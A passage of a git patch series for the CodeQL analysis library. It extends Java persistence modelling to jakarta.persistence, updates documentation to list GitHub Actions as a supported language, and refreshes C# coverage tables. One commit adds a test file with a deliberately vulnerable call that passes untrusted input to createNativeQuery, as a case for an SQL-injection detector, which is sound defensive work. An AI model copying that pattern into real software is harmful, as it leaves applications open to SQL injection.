NamedQueriesAnnotation extends Annotation { } /** - * A `@javax.persistence.NamedQuery` annotation. + * A `@{javax,jakarta}.persistence.NamedQuery` annotation. */ class NamedQueryAnnotation extends Annotation { NamedQueryAnnotation() { @@ -458,7 +456,7 @@ class NamedQueryAnnotation extends Annotation { } /** - * A `@javax.persistence.OneToMany` annotation. + * A `@{javax,jakarta}.persistence.OneToMany` annotation. */ class OneToManyAnnotation extends Annotation { OneToManyAnnotation() { @@ -467,21 +465,21 @@ class OneToManyAnnotation extends Annotation { } /** - * A `@javax.persistence.OneToOne` annotation. + * A `@{javax,jakarta}.persistence.OneToOne` annotation. */ class OneToOneAnnotation extends Annotation { OneToOneAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "OneToOne") } } /** - * A `@javax.persistence.OrderBy` annotation. + * A `@{javax,jakarta}.persistence.OrderBy` annotation. */ class OrderByAnnotation extends Annotation { OrderByAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "OrderBy") } } /** - * A `@javax.persistence.OrderColumn` annotation. + * A `@{javax,jakarta}.persistence.OrderColumn` annotation. */ class OrderColumnAnnotation extends Annotation { OrderColumnAnnotation() { @@ -490,7 +488,7 @@ class OrderColumnAnnotation extends Annotation { } /** - * A `@javax.persistence.PersistenceContext` annotation. + * A `@{javax,jakarta}.persistence.PersistenceContext` annotation. */ class PersistenceContextAnnotation extends Annotation { PersistenceContextAnnotation() { @@ -499,7 +497,7 @@ class PersistenceContextAnnotation extends Annotation { } /** - * A `@javax.persistence.PersistenceContexts` annotation. + * A `@{javax,jakarta}.persistence.PersistenceContexts` annotation. */ class PersistenceContextsAnnotation extends Annotation { PersistenceContextsAnnotation() { @@ -508,7 +506,7 @@ class PersistenceContextsAnnotation extends Annotation { } /** - * A `@javax.persistence.PersistenceProperty` annotation. + * A `@{javax,jakarta}.persistence.PersistenceProperty` annotation. */ class PersistencePropertyAnnotation extends Annotation { PersistencePropertyAnnotation() { @@ -517,7 +515,7 @@ class PersistencePropertyAnnotation extends Annotation { } /** - * A `@javax.persistence.PersistenceUnit` annotation. + * A `@{javax,jakarta}.persistence.PersistenceUnit` annotation. */ class PersistenceUnitAnnotation extends Annotation { PersistenceUnitAnnotation() { @@ -526,7 +524,7 @@ class PersistenceUnitAnnotation extends Annotation { } /** - * A `@javax.persistence.PersistenceUnits` annotation. + * A `@{javax,jakarta}.persistence.PersistenceUnits` annotation. */ class PersistenceUnitsAnnotation extends Annotation { PersistenceUnitsAnnotation() { @@ -535,14 +533,14 @@ class PersistenceUnitsAnnotation extends Annotation { } /** - * A `@javax.persistence.PostLoad` annotation. + * A `@{javax,jakarta}.persistence.PostLoad` annotation. */ class PostLoadAnnotation extends Annotation { PostLoadAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "PostLoad") } } /** - * A `@javax.persistence.PostPersist` annotation. + * A `@{javax,jakarta}.persistence.PostPersist` annotation. */ class PostPersistAnnotation extends Annotation { PostPersistAnnotation() { @@ -551,7 +549,7 @@ class PostPersistAnnotation extends Annotation { } /** - * A `@javax.persistence.PostRemove` annotation. + * A `@{javax,jakarta}.persistence.PostRemove` annotation. */ class PostRemoveAnnotation extends Annotation { PostRemoveAnnotation() { @@ -560,7 +558,7 @@ class PostRemoveAnnotation extends Annotation { } /** - * A `@javax.persistence.PostUpdate` annotation. + * A `@{javax,jakarta}.persistence.PostUpdate` annotation. */ class PostUpdateAnnotation extends Annotation { PostUpdateAnnotation() { @@ -569,7 +567,7 @@ class PostUpdateAnnotation extends Annotation { } /** - * A `@javax.persistence.PrePersist` annotation. + * A `@{javax,jakarta}.persistence.PrePersist` annotation. */ class PrePersistAnnotation extends Annotation { PrePersistAnnotation() { @@ -578,7 +576,7 @@ class PrePersistAnnotation extends Annotation { } /** - * A `@javax.persistence.PreRemove` annotation. + * A `@{javax,jakarta}.persistence.PreRemove` annotation. */ class PreRemoveAnnotation extends Annotation { PreRemoveAnnotation() { @@ -587,7 +585,7 @@ class PreRemoveAnnotation extends Annotation { } /** - * A `@javax.persistence.PreUpdate` annotation. + * A `@{javax,jakarta}.persistence.PreUpdate` annotation. */ class PreUpdateAnnotation extends Annotation { PreUpdateAnnotation() { @@ -596,7 +594,7 @@ class PreUpdateAnnotation extends Annotation { } /** - * A `@javax.persistence.PrimaryKeyJoinColumn` annotation. + * A `@{javax,jakarta}.persistence.PrimaryKeyJoinColumn` annotation. */ class PrimaryKeyJoinColumnAnnotation extends Annotation { PrimaryKeyJoinColumnAnnotation() { @@ -605,7 +603,7 @@ class PrimaryKeyJoinColumnAnnotation extends Annotation { } /** - * A `@javax.persistence.PrimaryKeyJoinColumns` annotation. + * A `@{javax,jakarta}.persistence.PrimaryKeyJoinColumns` annotation. */ class PrimaryKeyJoinColumnsAnnotation extends Annotation { PrimaryKeyJoinColumnsAnnotation() { @@ -614,7 +612,7 @@ class PrimaryKeyJoinColumnsAnnotation extends Annotation { } /** - * A `@javax.persistence.QueryHint` annotation. + * A `@{javax,jakarta}.persistence.QueryHint` annotation. */ class QueryHintAnnotation extends Annotation { QueryHintAnnotation() { @@ -623,7 +621,7 @@ class QueryHintAnnotation extends Annotation { } /** - * A `@javax.persistence.SecondaryTable` annotation. + * A `@{javax,jakarta}.persistence.SecondaryTable` annotation. */ class SecondaryTableAnnotation extends Annotation { SecondaryTableAnnotation() { @@ -632,7 +630,7 @@ class SecondaryTableAnnotation extends Annotation { } /** - * A `@javax.persistence.SecondaryTables` annotation. + * A `@{javax,jakarta}.persistence.SecondaryTables` annotation. */ class SecondaryTablesAnnotation extends Annotation { SecondaryTablesAnnotation() { @@ -641,7 +639,7 @@ class SecondaryTablesAnnotation extends Annotation { } /** - * A `@javax.persistence.SequenceGenerator` annotation. + * A `@{javax,jakarta}.persistence.SequenceGenerator` annotation. */ class SequenceGeneratorAnnotation extends Annotation { SequenceGeneratorAnnotation() { @@ -650,7 +648,7 @@ class SequenceGeneratorAnnotation extends Annotation { } /** - * A `@javax.persistence.SqlResultSetMapping` annotation. + * A `@{javax,jakarta}.persistence.SqlResultSetMapping` annotation. */ class SqlResultSetMappingAnnotation extends Annotation { SqlResultSetMappingAnnotation() { @@ -659,7 +657,7 @@ class SqlResultSetMappingAnnotation extends Annotation { } /** - * A `@javax.persistence.SqlResultSetMappings` annotation. + * A `@{javax,jakarta}.persistence.SqlResultSetMappings` annotation. */ class SqlResultSetMappingsAnnotation extends Annotation { SqlResultSetMappingsAnnotation() { @@ -668,14 +666,14 @@ class SqlResultSetMappingsAnnotation extends Annotation { } /** - * A `@javax.persistence.Table` annotation. + * A `@{javax,jakarta}.persistence.Table` annotation. */ class TableAnnotation extends Annotation { TableAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Table") } } /** - * A `@javax.persistence.TableGenerator` annotation. + * A `@{javax,jakarta}.persistence.TableGenerator` annotation. */ class TableGeneratorAnnotation extends Annotation { TableGeneratorAnnotation() { @@ -684,14 +682,14 @@ class TableGeneratorAnnotation extends Annotation { } /** - * A `@javax.persistence.Temporal` annotation. + * A `@{javax,jakarta}.persistence.Temporal` annotation. */ class TemporalAnnotation extends Annotation { TemporalAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Temporal") } } /** - * A `@javax.persistence.Transient` annotation. + * A `@{javax,jakarta}.persistence.Transient` annotation. */ class TransientAnnotation extends Annotation { TransientAnnotation() { @@ -700,7 +698,7 @@ class TransientAnnotation extends Annotation { } /** - * A `@javax.persistence.UniqueConstraint` annotation. + * A `@{javax,jakarta}.persistence.UniqueConstraint` annotation. */ class UniqueConstraintAnnotation extends Annotation { UniqueConstraintAnnotation() { @@ -709,7 +707,7 @@ class UniqueConstraintAnnotation extends Annotation { } /** - * A `@javax.persistence.Version` annotation. + * A `@{javax,jakarta}.persistence.Version` annotation. */ class VersionAnnotation extends Annotation { VersionAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Version") } From 20839745bdef8c13662321d96c33027234d62afb Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Tue, 1 Apr 2025 16:49:56 +0100 Subject: [PATCH 216/282] Remove redundant import --- java/ql/lib/semmle/code/java/deadcode/DeadField.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/java/ql/lib/semmle/code/java/deadcode/DeadField.qll b/java/ql/lib/semmle/code/java/deadcode/DeadField.qll index b1a990ac246..2dcbb96f3b5 100644 --- a/java/ql/lib/semmle/code/java/deadcode/DeadField.qll +++ b/java/ql/lib/semmle/code/java/deadcode/DeadField.qll @@ -3,7 +3,6 @@ import semmle.code.java.deadcode.DeadCode import semmle.code.java.frameworks.javaee.Persistence import semmle.code.java.frameworks.JAXB import semmle.code.java.frameworks.jackson.JacksonSerializability -import semmle.code.java.frameworks.javaee.Persistence /** * A field that is from a source file. From 5d37ccfa9046e1d26659209bc99ee367994bd3d0 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Tue, 1 Apr 2025 16:51:29 +0100 Subject: [PATCH 217/282] Change note --- java/ql/lib/change-notes/2025-04-01-jakarta-persistence.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 java/ql/lib/change-notes/2025-04-01-jakarta-persistence.md diff --git a/java/ql/lib/change-notes/2025-04-01-jakarta-persistence.md b/java/ql/lib/change-notes/2025-04-01-jakarta-persistence.md new file mode 100644 index 00000000000..0a5759ec3db --- /dev/null +++ b/java/ql/lib/change-notes/2025-04-01-jakarta-persistence.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* All existing modelling and support for `javax.persistence` now applies to `jakarta.persistence` as well. From 3c555fce112a1b699255dfd26aace94407e25c00 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Tue, 1 Apr 2025 17:12:35 +0100 Subject: [PATCH 218/282] Add basic test for SQL injection vs Jakarta Persistence --- .../CWE-089/semmle/examples/JakartaPersistence.java | 13 +++++++++++++ .../security/CWE-089/semmle/examples/options | 2 +- .../jakarta/persistence/EntityManager.java | 7 +++++++ .../jakarta/persistence/Query.java | 7 +++++++ 4 files changed, 28 insertions(+), 1 deletion(-) create mode 100644 java/ql/test/query-tests/security/CWE-089/semmle/examples/JakartaPersistence.java create mode 100644 java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/EntityManager.java create mode 100644 java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/Query.java diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/JakartaPersistence.java b/java/ql/test/query-tests/security/CWE-089/semmle/examples/JakartaPersistence.java new file mode 100644 index 00000000000..0327a75cf77 --- /dev/null +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/JakartaPersistence.java @@ -0,0 +1,13 @@ +import jakarta.persistence.EntityManager; + +public class JakartaPersistence { + + public static String source() { return null; } + + public static void test(EntityManager entityManager) { + + entityManager.createNativeQuery(source()); // $ sqlInjection + + } + +} diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/options b/java/ql/test/query-tests/security/CWE-089/semmle/examples/options index 832af0f3423..0252ff61ad3 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/options +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/options @@ -1 +1 @@ -//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/mongodbClient:${testdir}/../../../../../stubs/springframework-5.8.x:${testdir}/../../../../../stubs/apache-hive --release 21 +//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/mongodbClient:${testdir}/../../../../../stubs/springframework-5.8.x:${testdir}/../../../../../stubs/apache-hive:${testdir}/../../../../../stubs/jakarta-persistence-api-3.2.0 --release 21 diff --git a/java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/EntityManager.java b/java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/EntityManager.java new file mode 100644 index 00000000000..3adc0fdd41e --- /dev/null +++ b/java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/EntityManager.java @@ -0,0 +1,7 @@ +package jakarta.persistence; + +public interface EntityManager extends AutoCloseable { + + Query createNativeQuery(String sqlString); + +} diff --git a/java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/Query.java b/java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/Query.java new file mode 100644 index 00000000000..1bf5197b5c8 --- /dev/null +++ b/java/ql/test/stubs/jakarta-persistence-api-3.2.0/jakarta/persistence/Query.java @@ -0,0 +1,7 @@ +package jakarta.persistence; + +public interface Query { + + int executeUpdate(); + +} From 00bb9056c2a36563f85a1f7c154657a289ddc3b0 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Tue, 1 Apr 2025 15:42:36 -0500 Subject: [PATCH 219/282] Update query-metadata-style-guide.md --- docs/query-metadata-style-guide.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index 4c3f5b8814f..e45d88ffab5 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -180,7 +180,7 @@ There are also more specific `@tags` that can be added. See, the following pages Maintainers are expected to add a `@security-severity` tag to security relevant queries that will be run on Code Scanning. There is a documented internal process for generating these `@security-severity` values. -TODO: should we have a severity value for quality queries? +We will use the `problem.severity` attribute to handle the severity for quality-related queries. ### Metric/summary `@tags` From 74587f0d646ec0fbc464adddf3ec689bddd22c3f Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Tue, 1 Apr 2025 18:47:52 -0500 Subject: [PATCH 220/282] Update ExprHasNoEffect.ql adding quality tags per metadata styleguide --- javascript/ql/src/Expressions/ExprHasNoEffect.ql | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/Expressions/ExprHasNoEffect.ql b/javascript/ql/src/Expressions/ExprHasNoEffect.ql index f0cd3addcb6..197564244af 100644 --- a/javascript/ql/src/Expressions/ExprHasNoEffect.ql +++ b/javascript/ql/src/Expressions/ExprHasNoEffect.ql @@ -5,10 +5,12 @@ * @kind problem * @problem.severity warning * @id js/useless-expression - * @tags maintainability + * @tags quality +* maintainability * correctness * external/cwe/cwe-480 * external/cwe/cwe-561 + * useless-code * @precision very-high */ From 09de7cfe4d7128076d21ca5fc16df760701676a0 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Tue, 1 Apr 2025 17:01:47 -0700 Subject: [PATCH 221/282] Docs: Add GitHub Actions as a supported language Include GitHub Actions (identifier `actions`) everywhere we list supported languages, query packs, and library packs. Query and library documentation link targets do not exist yet. --- docs/codeql/codeql-overview/codeql-tools.rst | 2 ++ .../reusables/actions-further-reading.rst | 2 ++ docs/codeql/reusables/extractors.rst | 2 ++ docs/codeql/reusables/supported-frameworks.rst | 17 +++++++++++++++++ .../reusables/supported-versions-compilers.rst | 2 ++ .../about-codeql-queries.rst | 1 + docs/query-help-style-guide.md | 7 +++++-- docs/query-metadata-style-guide.md | 5 ++++- 8 files changed, 35 insertions(+), 3 deletions(-) create mode 100644 docs/codeql/reusables/actions-further-reading.rst diff --git a/docs/codeql/codeql-overview/codeql-tools.rst b/docs/codeql/codeql-overview/codeql-tools.rst index f3d37880ab6..ada1a75689e 100644 --- a/docs/codeql/codeql-overview/codeql-tools.rst +++ b/docs/codeql/codeql-overview/codeql-tools.rst @@ -23,6 +23,8 @@ The standard CodeQL query and library packs (`source `__) maintained by GitHub are: +- ``codeql/actions-queries`` (`changelog `__, `source `__) +- ``codeql/actions-all`` (`changelog `__, `source `__) - ``codeql/cpp-queries`` (`changelog `__, `source `__) - ``codeql/cpp-all`` (`changelog `__, `source `__) - ``codeql/csharp-queries`` (`changelog `__, `source `__) diff --git a/docs/codeql/reusables/actions-further-reading.rst b/docs/codeql/reusables/actions-further-reading.rst new file mode 100644 index 00000000000..03fe948a1cd --- /dev/null +++ b/docs/codeql/reusables/actions-further-reading.rst @@ -0,0 +1,2 @@ +- `CodeQL queries for GitHub Actions `__ +- `CodeQL library reference for GitHub Actions `__ diff --git a/docs/codeql/reusables/extractors.rst b/docs/codeql/reusables/extractors.rst index bfcd7571cb7..30ccef6e465 100644 --- a/docs/codeql/reusables/extractors.rst +++ b/docs/codeql/reusables/extractors.rst @@ -4,6 +4,8 @@ * - Language - Identifier + * - GitHub Actions + - ``actions`` * - C/C++ - ``cpp`` * - C# diff --git a/docs/codeql/reusables/supported-frameworks.rst b/docs/codeql/reusables/supported-frameworks.rst index 68ce952f70f..e6bf21a20ff 100644 --- a/docs/codeql/reusables/supported-frameworks.rst +++ b/docs/codeql/reusables/supported-frameworks.rst @@ -40,6 +40,23 @@ and the CodeQL library pack ``codeql/csharp-all`` (`changelog `__, `source `__) +and the CodeQL library pack ``codeql/actions-all`` (`changelog `__, `source `__). + +.. csv-table:: + :header-rows: 1 + :class: fullWidthTable + :widths: auto + :align: left + + Name, Category + `GitHub Actions workflow YAML files `, Workflows + `GitHub Actions action metadata YAML files `, Actions + Go built-in support ================================ diff --git a/docs/codeql/reusables/supported-versions-compilers.rst b/docs/codeql/reusables/supported-versions-compilers.rst index 92821d9556f..a1d65556580 100644 --- a/docs/codeql/reusables/supported-versions-compilers.rst +++ b/docs/codeql/reusables/supported-versions-compilers.rst @@ -16,6 +16,7 @@ .NET Core up to 3.1 .NET 5, .NET 6, .NET 7, .NET 8, .NET 9","``.sln``, ``.csproj``, ``.cs``, ``.cshtml``, ``.xaml``" + GitHub Actions [12]_,"Not applicable",Not applicable,"``.github/workflows/*.yml``, ``.github/workflows/*.yaml``, ``action.yml``, ``action.yaml``" Go (aka Golang), "Go up to 1.24", "Go 1.11 or more recent", ``.go`` Java,"Java 7 to 24 [5]_","javac (OpenJDK and Oracle JDK), @@ -40,3 +41,4 @@ .. [9] Requires glibc 2.17. .. [10] Support for the analysis of Swift requires macOS. .. [11] TypeScript analysis is performed by running the JavaScript extractor with TypeScript enabled. This is the default. + .. [12] Support for GitHub Actions is in public preview. diff --git a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst index 6d263b80303..f4e60b513c9 100644 --- a/docs/codeql/writing-codeql-queries/about-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst @@ -74,6 +74,7 @@ When writing your own alert queries, you would typically import the standard lib - :ref:`CodeQL library guide for C and C++ ` - :ref:`CodeQL library guide for C# ` - :ref:`CodeQL library guide for Go ` +- :ref:`CodeQL library guide for GitHub Actions ` - :ref:`CodeQL library guide for Java and Kotlin ` - :ref:`CodeQL library guide for JavaScript ` - :ref:`CodeQL library guide for Python ` diff --git a/docs/query-help-style-guide.md b/docs/query-help-style-guide.md index 143d9f4b821..88b9844fc22 100644 --- a/docs/query-help-style-guide.md +++ b/docs/query-help-style-guide.md @@ -7,9 +7,12 @@ When you contribute a new [supported query](supported-queries.md) to this reposi * [C/C++ queries](https://codeql.github.com/codeql-query-help/cpp/) * [C# queries](https://codeql.github.com/codeql-query-help/csharp/) * [Go queries](https://codeql.github.com/codeql-query-help/go/) -* [Java queries](https://codeql.github.com/codeql-query-help/java/) -* [JavaScript queries](https://codeql.github.com/codeql-query-help/javascript/) +* [GitHub Actions queries](https://codeql.github.com/codeql-query-help/actions/) +* [Java/Kotlin queries](https://codeql.github.com/codeql-query-help/java/) +* [JavaScript/TypeScript queries](https://codeql.github.com/codeql-query-help/javascript/) * [Python queries](https://codeql.github.com/codeql-query-help/python/) +* [Ruby queries](https://codeql.github.com/codeql-query-help/ruby/) +* [Swift queries](https://codeql.github.com/codeql-query-help/swift/) ### Location and file name diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index ff478340b10..f5f2143d8be 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -19,10 +19,13 @@ For examples of query files for the languages supported by CodeQL, visit the fol * [C/C++ queries](https://codeql.github.com/codeql-query-help/cpp/) * [C# queries](https://codeql.github.com/codeql-query-help/csharp/) +* [GitHub Actions queries](https://codeql.github.com/codeql-query-help/actions/) * [Go queries](https://codeql.github.com/codeql-query-help/go/) -* [Java queries](https://codeql.github.com/codeql-query-help/java/) +* [Java/Kotlin queries](https://codeql.github.com/codeql-query-help/java/) * [JavaScript queries](https://codeql.github.com/codeql-query-help/javascript/) * [Python queries](https://codeql.github.com/codeql-query-help/python/) +* [Ruby queries](https://codeql.github.com/codeql-query-help/ruby/) +* [Swift queries](https://codeql.github.com/codeql-query-help/swift/) ## Metadata area From f6442d20db6f37ee24f4580ce4656521e275c0cc Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Tue, 1 Apr 2025 17:09:03 -0700 Subject: [PATCH 222/282] Docs: Add Actions pages for CWE coverage --- docs/codeql/query-help/codeql-cwe-coverage.rst | 1 + docs/codeql/query-help/index.rst | 2 ++ 2 files changed, 3 insertions(+) diff --git a/docs/codeql/query-help/codeql-cwe-coverage.rst b/docs/codeql/query-help/codeql-cwe-coverage.rst index ab78764e6aa..6236289a9ab 100644 --- a/docs/codeql/query-help/codeql-cwe-coverage.rst +++ b/docs/codeql/query-help/codeql-cwe-coverage.rst @@ -27,6 +27,7 @@ Note that the CWE coverage includes both "`supported queries ` - :doc:`CodeQL query help for C# ` +- :doc:`CodeQL query help for GitHub Actions ` - :doc:`CodeQL query help for Go ` - :doc:`CodeQL query help for Java and Kotlin ` - :doc:`CodeQL query help for JavaScript and TypeScript ` @@ -28,6 +29,7 @@ For a full list of the CWEs covered by these queries, see ":doc:`CodeQL CWE cove :hidden: :titlesonly: + actions cpp csharp go From f379f23216d391873f675edeeed667c8a674ea42 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Wed, 2 Apr 2025 00:22:37 +0000 Subject: [PATCH 223/282] Add changed framework coverage reports --- csharp/documentation/library-coverage/coverage.csv | 14 +++++++------- csharp/documentation/library-coverage/coverage.rst | 6 +++--- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/csharp/documentation/library-coverage/coverage.csv b/csharp/documentation/library-coverage/coverage.csv index 8ec9be90060..2d786f62d6e 100644 --- a/csharp/documentation/library-coverage/coverage.csv +++ b/csharp/documentation/library-coverage/coverage.csv @@ -8,20 +8,20 @@ ILLink.Shared,,,37,,,,,,,,,,,,,,,,,,,11,26 ILLink.Tasks,,,5,,,,,,,,,,,,,,,,,,,4,1 Internal.IL,,,54,,,,,,,,,,,,,,,,,,,28,26 Internal.Pgo,,,9,,,,,,,,,,,,,,,,,,,2,7 -Internal.TypeSystem,,,345,,,,,,,,,,,,,,,,,,,205,140 +Internal.TypeSystem,,,342,,,,,,,,,,,,,,,,,,,205,137 Microsoft.ApplicationBlocks.Data,28,,,,,,,,,,,,28,,,,,,,,,, Microsoft.AspNetCore.Components,2,4,2,,,,,,,2,,,,,,,,,4,,,1,1 Microsoft.AspNetCore.Http,,,1,,,,,,,,,,,,,,,,,,,1, Microsoft.AspNetCore.Mvc,,,2,,,,,,,,,,,,,,,,,,,,2 Microsoft.AspNetCore.WebUtilities,,,2,,,,,,,,,,,,,,,,,,,2, Microsoft.CSharp,,,2,,,,,,,,,,,,,,,,,,,2, -Microsoft.Diagnostics.Tools.Pgo,,,23,,,,,,,,,,,,,,,,,,,,23 +Microsoft.Diagnostics.Tools.Pgo,,,21,,,,,,,,,,,,,,,,,,,,21 Microsoft.DotNet.Build.Tasks,,,11,,,,,,,,,,,,,,,,,,,9,2 Microsoft.DotNet.PlatformAbstractions,,,1,,,,,,,,,,,,,,,,,,,1, Microsoft.EntityFrameworkCore,6,,12,,,,,,,,,,6,,,,,,,,,,12 Microsoft.Extensions.Caching.Distributed,,,3,,,,,,,,,,,,,,,,,,,,3 Microsoft.Extensions.Caching.Memory,,,37,,,,,,,,,,,,,,,,,,,5,32 -Microsoft.Extensions.Configuration,,3,123,,,,,,,,,,,,,3,,,,,,40,83 +Microsoft.Extensions.Configuration,,3,118,,,,,,,,,,,,,3,,,,,,41,77 Microsoft.Extensions.DependencyInjection,,,209,,,,,,,,,,,,,,,,,,,15,194 Microsoft.Extensions.DependencyModel,,1,57,,,,,,,,,,,,,1,,,,,,13,44 Microsoft.Extensions.Diagnostics.Metrics,,,14,,,,,,,,,,,,,,,,,,,1,13 @@ -31,16 +31,16 @@ Microsoft.Extensions.Hosting,,,61,,,,,,,,,,,,,,,,,,,29,32 Microsoft.Extensions.Http,,,9,,,,,,,,,,,,,,,,,,,7,2 Microsoft.Extensions.Logging,,,107,,,,,,,,,,,,,,,,,,,26,81 Microsoft.Extensions.Options,,,174,,,,,,,,,,,,,,,,,,,48,126 -Microsoft.Extensions.Primitives,,,76,,,,,,,,,,,,,,,,,,,67,9 +Microsoft.Extensions.Primitives,,,75,,,,,,,,,,,,,,,,,,,68,7 Microsoft.Interop,,,216,,,,,,,,,,,,,,,,,,,71,145 Microsoft.JSInterop,2,,,,,,,,,,2,,,,,,,,,,,, Microsoft.NET.Build.Tasks,,,5,,,,,,,,,,,,,,,,,,,3,2 -Microsoft.VisualBasic,,,13,,,,,,,,,,,,,,,,,,,1,12 +Microsoft.VisualBasic,,,6,,,,,,,,,,,,,,,,,,,1,5 Microsoft.Win32,,4,2,,,,,,,,,,,,,,,,,,4,,2 -Mono.Linker,,,280,,,,,,,,,,,,,,,,,,,129,151 +Mono.Linker,,,278,,,,,,,,,,,,,,,,,,,130,148 MySql.Data.MySqlClient,48,,,,,,,,,,,,48,,,,,,,,,, Newtonsoft.Json,,,91,,,,,,,,,,,,,,,,,,,73,18 ServiceStack,194,,7,27,,,,,75,,,,92,,,,,,,,,7, SourceGenerators,,,5,,,,,,,,,,,,,,,,,,,,5 -System,54,47,12255,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5955,6300 +System,54,47,12111,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5993,6118 Windows.Security.Cryptography.Core,1,,,,,,,1,,,,,,,,,,,,,,, diff --git a/csharp/documentation/library-coverage/coverage.rst b/csharp/documentation/library-coverage/coverage.rst index 64adc583943..a7c9f8bc54c 100644 --- a/csharp/documentation/library-coverage/coverage.rst +++ b/csharp/documentation/library-coverage/coverage.rst @@ -8,7 +8,7 @@ C# framework & library support Framework / library,Package,Flow sources,Taint & value steps,Sinks (total),`CWE-079` :sub:`Cross-site scripting` `ServiceStack `_,"``ServiceStack.*``, ``ServiceStack``",,7,194, - System,"``System.*``, ``System``",47,12255,54,5 - Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2272,152,4 - Totals,,107,14534,400,9 + System,"``System.*``, ``System``",47,12111,54,5 + Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2252,152,4 + Totals,,107,14370,400,9 From 